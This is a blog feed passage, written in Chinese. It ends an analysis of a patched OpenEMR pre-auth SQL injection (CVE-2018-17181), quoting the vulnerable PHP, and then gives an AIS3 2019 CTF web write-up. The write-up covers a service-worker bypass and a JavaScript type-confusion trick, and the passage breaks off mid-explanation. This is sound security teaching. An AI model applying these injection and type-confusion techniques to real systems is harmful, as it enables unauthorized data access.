<p>&#x56E0;&#x70BA;&#x9019;&#x500B;&#x610F;&#x5916;&#x7684;&#x767C;&#x73FE;&#xFF0C;&#x6240;&#x4EE5;&#x6709;&#x4E9B;&#x900F;&#x904E; verify_session.php &#x4FDD;&#x8B77;&#x7684;&#x6A94;&#x6848;&#x4E5F;&#x6210;&#x70BA;&#x4E86;&#x9700;&#x8981;&#x6AA2;&#x67E5;&#x7684;&#x76EE;&#x6A19;&#x4E4B;&#x4E00;&#xFF0C;&#x800C;&#x96A8;&#x5F8C;&#x4E5F;&#x78BA;&#x5BE6;&#x5728;&#x300C;Patient Portal&#x300D;&#x7CFB;&#x5217;&#x529F;&#x80FD;&#x4E2D;&#x767C;&#x73FE;&#x4E86;&#x53E6;&#x4E00;&#x500B; Pre-Auth SQL Injection&#x3002;</p>
<h2 id="cve201817181sqlinjectiion">CVE-2018-17181 : SQL Injectiion</h2>
<p>&#x6B64;&#x5F31;&#x9EDE;&#x5728;&#x540C;&#x6A23; <a href="https://github.com/openemr/openemr/commit/4963fe4">commit 4963fe4</a> &#x4E2D;&#x7372;&#x5F97;&#x4E86;&#x4FEE;&#x5FA9;&#x3002;</p>
<p>&#x9019;&#x500B;&#x5F31;&#x9EDE;&#x7684;&#x9032;&#x5165;&#x9EDE;&#x6A94;&#x6848;&#x662F; paylib.php&#xFF0C;&#x6536;&#x5230; mode &#x70BA; portal-save &#x7684;&#x8ACB;&#x6C42;&#x5F8C;&#x6703;&#x8F49;&#x4EA4;&#x7D66; SaveAudit &#x51FD;&#x5F0F;&#x9032;&#x884C;&#x8655;&#x7406;&#xFF0C;&#x800C;&#x8A72;&#x51FD;&#x5F0F;&#x53C8;&#x6703;&#x547C;&#x53EB;&#x5230; ApplicationTable &#x7269;&#x4EF6;&#x7684; portalAudit &#x51FD;&#x5F0F;&#x3002;</p>
<pre><code>File: /portal/lib/paylib.php
47: if ($_POST[&apos;mode&apos;] == &apos;portal-save&apos;) {
48:     $form_pid = $_POST[&apos;form_pid&apos;];
49:     $form_method = trim($_POST[&apos;form_method&apos;]);
50:     $form_source = trim($_POST[&apos;form_source&apos;]);
51:     $upay = isset($_POST[&apos;form_upay&apos;]) ? $_POST[&apos;form_upay&apos;] : &apos;&apos;;
52:     $cc = isset($_POST[&apos;extra_values&apos;]) ? $_POST[&apos;extra_values&apos;] : &apos;&apos;;
53:     $amts = isset($_POST[&apos;inv_values&apos;]) ? $_POST[&apos;inv_values&apos;] : &apos;&apos;;
54:     $s = SaveAudit($form_pid, $amts, $cc);

75: function SaveAudit($pid, $amts, $cc)
76: {
77:     $appsql = new ApplicationTable();
78:     try {
79:         $audit = array ();
80:         $audit[&apos;patient_id&apos;] = $pid;

93:         $edata = $appsql-&gt;getPortalAudit($pid, &apos;review&apos;, &apos;payment&apos;);
94:         $audit[&apos;date&apos;] = $edata[&apos;date&apos;];
95:         if ($edata[&apos;id&apos;] &gt; 0) {
96:             $appsql-&gt;portalAudit(&apos;update&apos;, $edata[&apos;id&apos;], $audit);
97:         } else {
98:             $appsql-&gt;portalAudit(&apos;insert&apos;, &apos;&apos;, $audit);
99:         }
</code></pre>
<p>portalAudit &#x51FD;&#x5F0F;&#x904E;&#x6FFE;&#x4E86;&#x5E7E;&#x4E4E;&#x6240;&#x6709;&#x53C3;&#x6578;&#xFF0C;&#x552F;&#x7368;&#x907A;&#x6F0F;&#x4E86; <code>$audit[&apos;patient_id&apos;]</code>&#xFF0C;&#x800C;&#x6B64;&#x53C3;&#x6578;&#x6070;&#x597D;&#x53C8;&#x662F;&#x4F7F;&#x7528;&#x8005;&#x80FD;&#x63A7;&#x5236;&#x7684;&#x53C3;&#x6578;&#xFF0C;&#x56E0;&#x6B64;&#x5C31;&#x80FD;&#x9032;&#x884C; SQL &#x7684;&#x6CE8;&#x5165;&#xFF0C;&#x800C;&#x6B64;&#x8655;&#x540C;&#x6A23;&#x4E5F;&#x6703;&#x986F;&#x793A; SQL &#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF0C;&#x56E0;&#x6B64;&#x4E5F;&#x80FD;&#x5229;&#x7528; Error-Based &#x53D6;&#x5F97;&#x8CC7;&#x6599;&#x5EAB;&#x5167;&#x5BB9;&#x3002;</p>
<pre><code>File: /portal/lib/appsql.class.php
135:     public function portalAudit($type = &apos;insert&apos;, $rec = &apos;&apos;, array $auditvals, $oelog = true, $error = true)
136:     {

162:         try {
163:             if ($type != &apos;update&apos;) {
164:                 $logsql = &quot;INSERT INTO onsite_portal_activity&quot;.
165:                         &quot;( date, patient_id, activity, require_audit, pending_action, action_taken, status, narrative,&quot;.
166:                             &quot;table_action, table_args, action_user, action_taken_time, checksum) &quot;.
167:                                 &quot;VALUES (NOW(), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)&quot;;
168:             } else {
169:                 $logsql = &quot;update onsite_portal_activity set date=?, patient_id=?, activity=?, require_audit=?,&quot;.
170:                         &quot;            pending_action=?, action_taken=?,status=?, narrative=?, table_action=?, table_args=?,&quot;.
171:                                         &quot;action_user=?, action_taken_time=?, checksum=? &quot;;
172:                 $logsql .= &quot;where id=&quot;.$rec .&quot; And patient_id=&quot;.$audit[&apos;patient_id&apos;];
173:             }
</code></pre>
<p>&#x6B64;&#x5F31;&#x9EDE;&#x540C;&#x6A23;&#x4EF0;&#x8CF4;&#x8B8A;&#x6578; <code>$_SESSION[&apos;patient_portal_onsite_two&apos;]</code> &#x5FC5;&#x9808;&#x5B58;&#x5728;&#x624D;&#x53EF;&#x4EE5;&#x5B58;&#x53D6;&#xFF0C;&#x800C;&#x932F;&#x8AA4;&#x8A2D;&#x7F6E; <code>$_SESSION[&apos;patient_portal_onsite_two&apos;]</code> &#x7684;&#x554F;&#x984C;&#x4E5F;&#x5728;&#x540C;&#x4E00;&#x500B; commit &#x4E2D;&#x7372;&#x5F97;&#x4E86;&#x4FEE;&#x5FA9;&#xFF0C;&#x5728;&#x4FEE;&#x5FA9;&#x5F8C;&#x7684;&#x7248;&#x672C;&#x4E2D;&#xFF0C;&#x672A;&#x767B;&#x5165;&#x4F7F;&#x7528;&#x8005;&#x662F;&#x7121;&#x6CD5;&#x8A2A;&#x554F;&#x9019;&#x4E9B;&#x6A94;&#x6848;&#x7684;&#x3002;</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/openemr/openemr/commit/3e22d11">https://github.com/openemr/openemr/commit/3e22d11</a></li>
<li><a href="https://github.com/openemr/openemr/commit/4963fe4">https://github.com/openemr/openemr/commit/4963fe4</a></li>
<li><a href="https://www.open-emr.org/wiki/index.php/Old_Outdated_OpenEMR_Patches#5.0.1_Patch_.281.2F19.2F19.29">https://www.open-emr.org/wiki/index.php/Old_Outdated_OpenEMR_Patches#5.0.1_Patch_.281.2F19.2F19.29</a></li>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17179">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17179</a></li>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17180">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17180</a></li>
<li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17181">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17181</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[AIS3 2019 Pre-exam Web Write-up]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x8FD1; AIS3 2019 &#x7684;&#x8AB2;&#x7A0B;&#x6B63;&#x5728;&#x9032;&#x884C;&#x4E2D;&#xFF0C;&#x65BC;&#x662F;&#x60F3;&#x8D77;&#x5806;&#x5728;&#x96FB;&#x8166;&#x4E2D;&#x7684; pre-exam &#x622A;&#x5716;&#x9084;&#x6C92;&#x5BEB;&#x6210; write-up&#xFF0C;&#x8D95;&#x7DCA;&#x4F86;&#x5BEB;&#x7BC7;&#x6587;&#x7AE0;&#x3002;&#x500B;&#x4EBA;&#x89BA;&#x5F97;&#x4ECA;&#x5E74;&#x5EA6;&#x7684; web &#x984C;</p>]]></description><link>https://cyku.tw/ais3-2019-pre-exam-web-write-up/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f340e</guid><category><![CDATA[Web Security]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Wed, 31 Jul 2019 13:52:55 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x8FD1; AIS3 2019 &#x7684;&#x8AB2;&#x7A0B;&#x6B63;&#x5728;&#x9032;&#x884C;&#x4E2D;&#xFF0C;&#x65BC;&#x662F;&#x60F3;&#x8D77;&#x5806;&#x5728;&#x96FB;&#x8166;&#x4E2D;&#x7684; pre-exam &#x622A;&#x5716;&#x9084;&#x6C92;&#x5BEB;&#x6210; write-up&#xFF0C;&#x8D95;&#x7DCA;&#x4F86;&#x5BEB;&#x7BC7;&#x6587;&#x7AE0;&#x3002;&#x500B;&#x4EBA;&#x89BA;&#x5F97;&#x4ECA;&#x5E74;&#x5EA6;&#x7684; web &#x984C;&#x76EE;&#x5F88;&#x512A;&#x8CEA;&#xFF0C;&#x6C92;&#x6709;&#x592A;&#x591A;&#x901A;&#x9748;&#x6210;&#x5206;&#x800C;&#x4E14;&#x9084;&#x5E36;&#x5230;&#x4E86;&#x8A31;&#x591A;&#x5BE6;&#x7528;&#x77E5;&#x8B58;&#xFF0C;&#x7136;&#x800C;&#x6211;&#x5176;&#x5BE6;&#x6C92;&#x6709;&#x5831;&#x540D;&#x4ECA;&#x5E74;&#x5EA6;&#x7684; AIS3&#xFF0C;&#x7D14;&#x7CB9;&#x662F;&#x56E0;&#x70BA;&#x597D;&#x5947;&#x800C;&#x5077;&#x8981;&#x5230;&#x4E86;&#x984C;&#x76EE;&#x73A9;&#x73A9;&#x770B; XD</p>
<p>&#x9996;&#x5148;&#x9644;&#x4E0A;&#x5B98;&#x65B9;&#x51FA;&#x984C;&#x8005;&#x7684;&#x89E3;&#x7B54;&#xFF1A;</p>
<ul>
<li><a href="https://blog.djosix.com/ais3-2019-pre-exam-%E5%AE%98%E6%96%B9%E8%A7%A3%E6%B3%95/">AIS3 2019 Pre-Exam &#x5B98;&#x65B9;&#x89E3;&#x6CD5; by Yuankui Lee</a></li>
<li><a href="https://github.com/w181496/AIS3-PreExam-2019">AIS3-PreExam-2019 by Kaibro</a></li>
</ul>
<p>&#x9019;&#x4E9B;&#x89E3;&#x7B54;&#x5728; pre-exam &#x7D50;&#x675F;&#x5F8C;&#x6C92;&#x591A;&#x4E45;&#x5C31;&#x516C;&#x4F48;&#x4E86;&#xFF0C;&#x76F8;&#x4FE1;&#x5927;&#x5BB6;&#x61C9;&#x8A72;&#x90FD;&#x5DF2;&#x7D93;&#x770B;&#x5B8C;&#xFF0C;&#x4F46;&#x6211;&#x9019;&#x908A;&#x9084;&#x662F;&#x518D;&#x9644;&#x4E0A;&#x4E00;&#x6B21;&#x3002;</p>
<h2 id="simplewindow">Simple Window</h2>
<p>&#x958B;&#x555F;&#x9996;&#x9801;&#x99AC;&#x4E0A;&#x5C31;&#x770B;&#x5230;&#x4E00;&#x500B;&#x985E;&#x4F3C; Virtual Terminal &#x7684;&#x756B;&#x9762;&#xFF0C;&#x4E0D;&#x904E;&#x9019;&#x662F;&#x5047;&#x7684;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10100_01.png" alt="10100_01" loading="lazy"></p>
<p>view-source &#x4E00;&#x4E0B;&#x5C31;&#x80FD;&#x767C;&#x73FE; flag &#x7684;&#x9801;&#x9762;&#x5728; <code>http://ip/flag</code>&#xFF0C;&#x4F46;&#x662F;&#x76F4;&#x9023;&#x8A72;&#x9801;&#x9762;&#x6703;&#x53EA;&#x770B;&#x5230;&#x8A0A;&#x606F;&#x8AAA;&#x300C;I catch it!&#x300D;<br>
<img src="https://cyku.tw/content/images/2019/07/10100_02.png" alt="10100_02" loading="lazy"></p>
<p>&#x539F;&#x7406;&#x5176;&#x5BE6;&#x5F88;&#x55AE;&#x7D14;&#xFF0C;&#x700F;&#x89BD;&#x5668;&#x652F;&#x63F4;&#x4E86;&#x4E00;&#x7A2E;&#x540D;&#x70BA; Service Worker &#x7684;&#x529F;&#x80FD;&#xFF0C;&#x5E38;&#x898B;&#x7528;&#x9014;&#x4E4B;&#x4E00;&#x662F;&#x8B93;&#x4F60;&#x53EF;&#x4EE5;&#x5728;&#x524D;&#x7AEF;&#x81EA;&#x8A02;&#x5FEB;&#x53D6;&#x7684;&#x884C;&#x70BA;&#xFF0C;&#x7576;&#x7DB2;&#x9801;&#x6E32;&#x67D3;&#x9700;&#x8981;&#x8F09;&#x5165;&#x4E00;&#x4E9B;&#x8CC7;&#x6E90; (&#x4F8B;&#x5982;&#xFF1A;&#x5716;&#x7247;&#x3001;CSS &#x7B49;) &#x6642;&#xFF0C;&#x53EF;&#x4EE5;&#x900F;&#x904E;&#x8A3B;&#x518A; Service Worker &#x7684;&#x529F;&#x80FD;&#xFF0C;&#x963B;&#x6B62;&#x700F;&#x89BD;&#x5668;&#x767C;&#x51FA;&#x8ACB;&#x6C42;&#xFF0C;&#x4E26;&#x7531;&#x4F60;&#x5728;&#x524D;&#x7AEF;&#x64B0;&#x5BEB;&#x7684; JavaScript &#x4F86;&#x63A7;&#x5236;&#x53BB;&#x54EA;&#x88E1;&#x8F09;&#x5165;&#x9019;&#x4E9B;&#x8CC7;&#x6E90;&#x3002;</p>
<p>&#x6240;&#x4EE5;&#x9019;&#x9053;&#x984C;&#x76EE;&#x5C31;&#x662F;&#x8A3B;&#x518A;&#x4E86; Service Worker &#x4F86;&#x963B;&#x6B62;&#x4F60;&#x700F;&#x89BD; <code>/flag</code> &#x9801;&#x9762;&#xFF0C;&#x9019;&#x9EDE;&#x53EF;&#x4EE5;&#x5F9E; view-source &#x770B;&#x898B;&#x76F8;&#x95DC;&#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#xFF0C;&#x73FE;&#x5728;&#x7684;&#x8A71;&#x4E5F;&#x80FD;&#x5230;&#x51FA;&#x984C;&#x8005;&#x7684; <a href="https://github.com/w181496/AIS3-PreExam-2019/blob/master/SimpleWindow/app.py">SimpleWindow - GitHub</a> &#x4E0A;&#x770B;&#x770B;&#x7A0B;&#x5F0F;&#x78BC;&#x662F;&#x5982;&#x4F55;&#x64B0;&#x5BEB;&#x7684;&#x3002;</p>
<p>&#x89E3;&#x6CD5;&#x662F;&#x53EA;&#x8981;&#x907F;&#x514D;&#x7D93;&#x904E;&#x700F;&#x89BD;&#x5668;&#x5FEB;&#x53D6;&#x6A5F;&#x5236;&#x800C;&#x76F4;&#x63A5;&#x5411;&#x76EE;&#x6A19;&#x4F3A;&#x670D;&#x5668;&#x8ACB;&#x6C42;&#x8A72;&#x9801;&#x9762;&#xFF0C;&#x8B6C;&#x5982;&#x76F4;&#x63A5; <code>view-source:http://ip/flag</code> &#x6216;&#x662F;&#x5728; Linux &#x4E0A;&#x4F7F;&#x7528; curl &#x6307;&#x4EE4; <code>curl -v http://ip/flag</code> &#x5C31;&#x80FD;&#x7372;&#x5F97; flag&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10100_03.png" alt="10100_03" loading="lazy"></p>
<h2 id="hidden">Hidden</h2>
<p>&#x9EDE;&#x958B;&#x9019;&#x9053;&#x984C;&#x76EE;&#x7684;&#x7DB2;&#x9801;&#xFF0C;&#x756B;&#x9762;&#x5448;&#x73FE;&#x975E;&#x5E38;&#x7A7A;&#x865B;&#xFF0C;&#x53EA;&#x6709;&#x4E00;&#x4E32;&#x6587;&#x5B57;&#x300C;Hidden&#x300D;&#xFF0C;HTML &#x4E2D;&#x4E5F;&#x6C92;&#x6709;&#x5176;&#x4ED6;&#x5143;&#x7D20;&#xFF0C;&#x4F46;&#x662F;&#x8A72;&#x7DB2;&#x9801;&#x6709;&#x5F15;&#x5165;&#x4E86;&#x4E00;&#x500B; JavaScript &#x6A94;&#x6848;&#xFF1A;<code>/main.019417bd.js</code>&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10101_01.png" alt="10101_01" loading="lazy"></p>
<p>&#x5F9E;&#x9019;&#x500B; JavaScript &#x6A94;&#x6848;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x7DB2;&#x9801;&#x662F;&#x4F7F;&#x7528; Vue.js &#x524D;&#x7AEF;&#x6846;&#x67B6;&#x64B0;&#x5BEB;&#xFF0C;&#x770B;&#x5230;&#x7A0B;&#x5F0F;&#x78BC;&#x5C31;&#x6703;&#x624B;&#x7662;&#x60F3;&#x5148;&#x641C;&#x5C0B;&#x300C;flag&#x300D;&#xFF0C;&#x767C;&#x73FE;&#x6709;&#x500B; <code>&quot;./flag.js&quot;: &quot;nHHx&quot;</code>&#xFF0C;&#x9019;&#x662F;&#x524D;&#x7AEF;&#x6253;&#x5305;&#x5DE5;&#x5177;&#x5F88;&#x5E38;&#x898B;&#x7684;&#x7279;&#x5FB5;&#xFF0C;&#x56E0;&#x70BA;&#x524D;&#x7AEF;&#x6846;&#x67B6;&#x90FD;&#x63A1;&#x7528;&#x4E86;&#x6A21;&#x7D44;&#x5316;&#x65B9;&#x5F0F;&#x9032;&#x884C;&#x958B;&#x767C;&#xFF0C;&#x4F46;&#x662F;&#x700F;&#x89BD;&#x5668;&#x591A;&#x534A;&#x4E0D;&#x652F;&#x63F4;&#x9019;&#x4E9B;&#x6A21;&#x7D44;&#x5316;&#x65B9;&#x5F0F;&#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#xFF0C;&#x6240;&#x4EE5;&#x6703;&#x518D;&#x900F;&#x904E;&#x6253;&#x5305;&#x5DE5;&#x5177;&#x5C07;&#x9019;&#x4E9B;&#x6846;&#x67B6;&#x7A0B;&#x5F0F;&#x78BC;&#x8F49;&#x63DB;&#x70BA;&#x700F;&#x89BD;&#x5668;&#x80FD;&#x63A5;&#x53D7;&#x7684; JavaScript&#xFF0C;&#x800C; <code>&quot;./flag.js&quot;: &quot;nHHx&quot;</code> &#x5C31;&#x662F;&#x5176;&#x4E2D;&#x4E00;&#x500B;&#x6A21;&#x7D44;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10101_02.png" alt="10101_02" loading="lazy"></p>
<p>&#x5C07;&#x4E0A;&#x8FF0;&#x7684; <code>nHHx</code> &#x7E7C;&#x7E8C;&#x641C;&#x5C0B;&#x5C31;&#x80FD;&#x627E;&#x5230;&#x6A21;&#x7D44;&#x539F;&#x59CB;&#x7684;&#x5B9A;&#x7FA9;&#x4F4D;&#x7F6E;&#xFF0C;&#x5F9E;&#x7A0B;&#x5F0F;&#x78BC;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8A72;&#x6A21;&#x7D44; export &#x4E86;&#x4E00;&#x500B; <code>function r()</code>&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10101_03.png" alt="10101_03" loading="lazy"></p>
<p>&#x7E3D;&#x800C;&#x8A00;&#x4E4B;&#x628A; <code>function r()</code> &#x76F4;&#x63A5;&#x4E1F; Console &#x8DD1;&#x8DD1;&#x770B;&#xFF0C;&#x5C31;&#x80FD;&#x9806;&#x5229;&#x62FF;&#x5230; flag&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10101_04.png" alt="10101_04" loading="lazy"></p>
<h2 id="tokeeeeen">tokeeeeen</h2>
<p>&#x9996;&#x9801;&#x6709;&#x4E00;&#x500B;&#x8F38;&#x5165;&#x6846;&#x53EF;&#x4EE5;&#x8F38;&#x5165; token&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10102_01.png" alt="10102_01" loading="lazy"></p>
<p>&#x6309;&#x4E0B; submit &#x6309;&#x9215;&#x5F8C;&#x6703;&#x767C;&#x51FA;&#x4E00;&#x500B; AJAX &#x53BB;&#x4F4D;&#x7F6E; <code>/flag?token=aa</code> &#x8ACB;&#x6C42; flag&#xFF0C;&#x4F46;&#x6703;&#x986F;&#x793A;&#x4E00;&#x4E9B;&#x50CF;&#x300C;No, please.&#x300D;&#x53EF;&#x80FD;&#x4EE3;&#x8868; token &#x932F;&#x8AA4;&#x7684;&#x8A0A;&#x606F;&#x3002;&#x63A8;&#x6E2C;&#x9019;&#x9053;&#x984C;&#x76EE;&#x4E5F;&#x8A31;&#x662F;&#x8981;&#x4F60;&#x627E;&#x51FA;&#x6B63;&#x78BA;&#x7684; token &#x62FF; flag?<br>
<img src="https://cyku.tw/content/images/2019/07/10102_02.png" alt="10102_02" loading="lazy"></p>
<p>&#x5148;&#x5225;&#x8457;&#x6025;&#x8457;&#x778E;&#x731C;&#xFF0C;&#x8B93;&#x6211;&#x5011;&#x518D;&#x5617;&#x8A66;&#x6536;&#x96C6;&#x4E00;&#x4E9B;&#x8CC7;&#x8A0A;&#xFF0C;&#x4E26;&#x5F88;&#x5FEB;&#x5C31;&#x80FD;&#x767C;&#x73FE;&#x4F3A;&#x670D;&#x5668;&#x4E0A;&#x9084;&#x6709;&#x4E00;&#x500B;&#x6A94;&#x6848; <code>package.json</code>&#xFF0C;&#x9019;&#x662F; Node.js &#x5957;&#x4EF6;&#x7BA1;&#x7406;&#x5DE5;&#x5177; npm &#x6240;&#x4F7F;&#x7528;&#x4F86;&#x63CF;&#x8FF0;&#x4E00;&#x4E9B;&#x8CC7;&#x8A0A;&#x7684;&#x6A94;&#x6848;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10102_03.png" alt="10102_03" loading="lazy"></p>
<p>&#x518D;&#x8A66;&#x8457;&#x5B58;&#x53D6; <code>package.json</code> &#x4E2D;&#x6240;&#x63CF;&#x8FF0;&#x5230;&#x7684; <code>server.js</code>&#xFF0C;&#x767C;&#x73FE;&#x4E5F;&#x80FD;&#x770B;&#x898B;&#x5B8C;&#x6574;&#x7684;&#x539F;&#x59CB;&#x78BC;&#x3002;<br>
<img src="https://cyku.tw/content/images/2019/07/10102_04.png" alt="10102_04" loading="lazy"></p>
<p>&#x5F9E;&#x539F;&#x59CB;&#x78BC;&#x4E2D;&#x53EF;&#x4EE5;&#x767C;&#x73FE;&#x5C0D; token &#x7684;&#x6AA2;&#x67E5;&#x6709;&#x4E09;&#x500B;&#x689D;&#x4EF6;&#xFF1A;</p>
<ul>
<li><code>!token</code>: token &#x53C3;&#x6578;&#x8981;&#x5B58;&#x5728;&#xFF0C;&#x4E0D;&#x80FD;&#x70BA;&#x7A7A;&#x3001;null &#x6216; undefined</li>
<li><code>token.length &gt; 32</code>: token &#x5B57;&#x4E32;&#x9577;&#x5EA6;&#x8981;&#x5927;&#x65BC; 32</li>
<li><code>0 &lt; token.length &lt; 16</code>: &#x9019;&#x500B;&#x662F; .. &#x5B57;&#x4E32;&#x9577;&#x5EA6;&#x4ECB;&#x65BC; 0~16 .. &#x55CE;&#xFF1F;</li>
</ul>
<p>&#x770B;&#x8D77;&#x4F86;&#x4F3C;&#x4E4E;&#x7B2C;&#x4E8C;&#x9EDE;&#x548C;&#x7B2C;&#x4E09;&#x9EDE;&#x81EA;&#x76F8;&#x77DB;&#x76FE;&#xFF0C;&#x4F46;&#x5176;&#x5BE6;&#x662F;&#x500B;&#x969C;&#x773C;&#x6CD5;&#xFF0C;&#x5728; JavaScript &#x4E26;&#x6C92;&#x6709;&#x50CF;&#x6578;&#x5B78;&#x5F0F;&#x822C; <code>a &lt; b &lt; c</code> &#x9019;&#x6A23;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#xFF0C;<code>&lt;</code> &#x53EA;&#x80FD;&#x4E00;&#x6B21;&#x5C0D;&#x5169;&#x8005;&#x505A;&#x6BD4;&#x8F03;&#xFF0C;&#x6240;&#x4EE5;&#x7B2C;&#x4E09;&#x9EDE;&#x5728; JavaScript &#x773C;&#x88E1;&#x662F; <code>(0 &lt; token.length) &lt; 16</code>&#xFF0C;&#x5728;&#x9019;&#x908A;&#x7684;&#x60C5;&#x5883;&#x4E0B;&#x5C07;&#x6703;&#x6C38;&#x9060;&#x70BA; true&#xFF0C;&#x56E0;&#x70BA; <code>(0 &lt; token.length)</code> &#x5FC5;&#x5B9A;&#x6703;&#x5F97;&#x5230;&#x4E00;&#x500B; true &#x7684; Boolean &#x503C;&#xFF0C;&#x800C; <code>true &lt; 16</code> &#x7D93;&#x904E;&#x8F49;&#x578B;&#x8655;&#x7406;&#x5F8C;&#x518D;&#x5224;&#x65B7;&#x4E5F;&#x5FC5;&#x7136;&#x70BA; true&#x3002;</p>
<p>&#x90A3;&#x9019;&#x9053;&#x984C;&#x76EE;&#x8A72;&#x4F55;&#x89E3;&#xFF1F;&#x8B93;&#x6211;&#x5011;&#x518D;&#x56DE;&#x9867;&#x4E00;&#x4E0B;&#x7A0B;&#x5F0F;&#x78BC;&#xFF0C;&#x5982;&#x679C;&#x5920;&#x7D30;&#x5FC3;&#x61C9;&#x8A72;&#x80FD;&#x7ACB;&#x523B;&#x767C;&#x73FE;&#x53EA;&#x6709;&#x50B3;&#x9001; flag &#x7684;&#x7A0B;&#x5F0F;&#x78BC; <code>res.send(FLAG)</code> &#x662F;&#x88AB;&#x653E;&#x7F6E;&#x5728; try catch &#x6558;&#x8FF0;&#x53E5;&#x5916;&#x7684;&#xFF0C;&#x800C; catch &#x6558;&#x8FF0;&#x53E5;&#x53EA;&#x6355;&#x6349;&#x4E86; TokenError &#x7684;&#x932F;&#x8AA4;&#xFF0C;&#x8868;&#x793A;&#x82E5;&#x6211;&#x5011;&#x80FD;&#x8B93; JavaScript &#x5674;&#x51FA; TokenError &#x4EE5;&#x5916;&#x7684; exception&#xFF0C;&#x5C31;&#x80FD;&#x62B5;&#x9054; <code>res.send(FLAG)</code> &#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x3002;</p>
<p>&#x8981;&#x8B93; JavaScript &#x7A0B;&#x5F0F;&#x51FA;&#x73FE;&#x932F;&#x8AA4;&#xFF0C;&#x7B2C;&#x4E00;&#x500B;&#x76F4;&#x89BA;&#x6703;&#x806F;&#x60F3;&#x5230; Type Confusion&#xFF0C;&#x56E0;&#x70BA;&#x5B83;&#x662F;&#x52D5;&#x614B;&#x578B;&#x5225;&#x7684;&#x8A9E;&#x8A00;&#xFF0C;&#x53EF;&#x4EE5;&#x8B93;&#x540C;&#x4E00;&#x500B;&#x8B8A;&#x6578;&#x5076;&#x800C;&#x662F; string &#x5076;&#x800C;&#x53C8;&#x662F; object&#xFF0C;&#x9019;&#x9053;&#x984C;&#x76EE;&#x88E1;&#x53C8;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x7684;&#x578B;&#x5225;&#x6AA2;&#x67E5;&#xFF0C;&#x6240;&#x4EE5;&#x5176;&#x5BE6;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x900F;&#x904E; <code>?token[a]=1</code> &#x7684;&#x65B9;&#x5F0F;&#x8B93; token &#x8B8A;&#x6578;&#x6210;&#x70BA; object &#x578B;&#x5225;&#x3002;&#x4F46;&#x9019;&#x4E26;&#x4E0D;&#x81F3;&#x65BC;&#x8B93;&#x7A0B;&#x5F0F;&#x5674; exception&#xFF0C;&#x56E0;&#x70BA;&#x76EE;&#x524D;&#x7A0B;&#x5F0F;&#x4E2D;&#x7684;&#x6240;&#x6709;&#x64CD;&#x4F5C;&#x5728; object &#x578B;&#x5225;&#x4E0A;&#x90FD;&#x662F;&#x5408;&#x6CD5;&#x7684;&#xFF0C;&#x8B6C;&#x5982; <code>token.length</code> &#x4E5F;&#x53EA;&#x662F;&#x56DE;&#x50B3; undefined &#x518D;&#x53BB;&#x96B1;&#x6027;&#x8F49;&#x578B;&#x4F5C;&#x6578;&#x5B57;&#x6BD4;&#x8F03;&#x3002;</p>
<p>&#x9019;&#x5C31;&#x8981;&#x8AC7;&#x53CA; JavaScript &#x7684;&#x4E00;&#x500B; magic method: <code>toString</code>&#xFF0C;&#x7576;&#x4F60;&#x5617;&#x8A66;&#x5C0D;&#x4E00;&#x500B; object &#x9032;&#x884C;&#x6578;&#x503C; (&#x96B1;&#x6027;&#x578B;&#x5225;&#x8F49;&#x63DB;) &#x6216;&#x5B57;&#x4E32;&#x64CD;&#x4F5C;&#x6642;&#xFF0C;JavaScript &#x6703;&#x547C;&#x53EB; <code>object.toString()</code> &#x4F86;&#x628A;&#x7269;&#x4EF6;&#x8F49;&#x63DB;&#x6210;&#x5B57;&#x4E32;&#xFF0C;&#x6211;&#x5011;&#x4E5F;&#x80FD;&#x900F;&#x904E; override &#x9019;&#x500B;&#x51FD;&#x5F0F;&#x4F86;&#x81EA;&#x5B9A;&#x7FA9;&#x5982;&#x4F55;&#x8F49;&#x63DB;&#x6210;&#x5B57;&#x4E32;&#x7684;&#x884C;&#x70BA;&#x3002;</p>
<p>&#x8B6C;&#x5982;&#x4EE5;&#x4E0B;&#x7A0B;&#x5F0F;&#x78BC;&#xFF1A;</p>
<pre><code>var a = {
    toString: function() {
        return &apos;Hello, world!&apos;;
    }
};
console.log(&apos;Result: &apos; + a);
</code></pre>
<p>&#x6703;&#x5F97;&#x5230;&#x4EE5;&#x4E0B;&#x8F38;&#x51FA;&#xFF1A;</p>
<pre><code>Result: Hello, world!
</code></pre>
<p>&#x90A3;&#x5982;&#x679C;&#x6211;&#x5011;&#x5C07; toString override &#x6210; function &#x4EE5;&#x5916;&#x7684;&#x6771;&#x897F;&#xFF1A;</p>
<pre><code>var a = {
    toString: 123
};
console.log(&apos;Result: &apos; + a);
</code></pre>
<p>&#x5C31;&#x6703;&#x767C;&#x73FE;&#x795E;&#x5947;&#x7684;&#x7D50;&#x679C;&#xFF1A;</p>
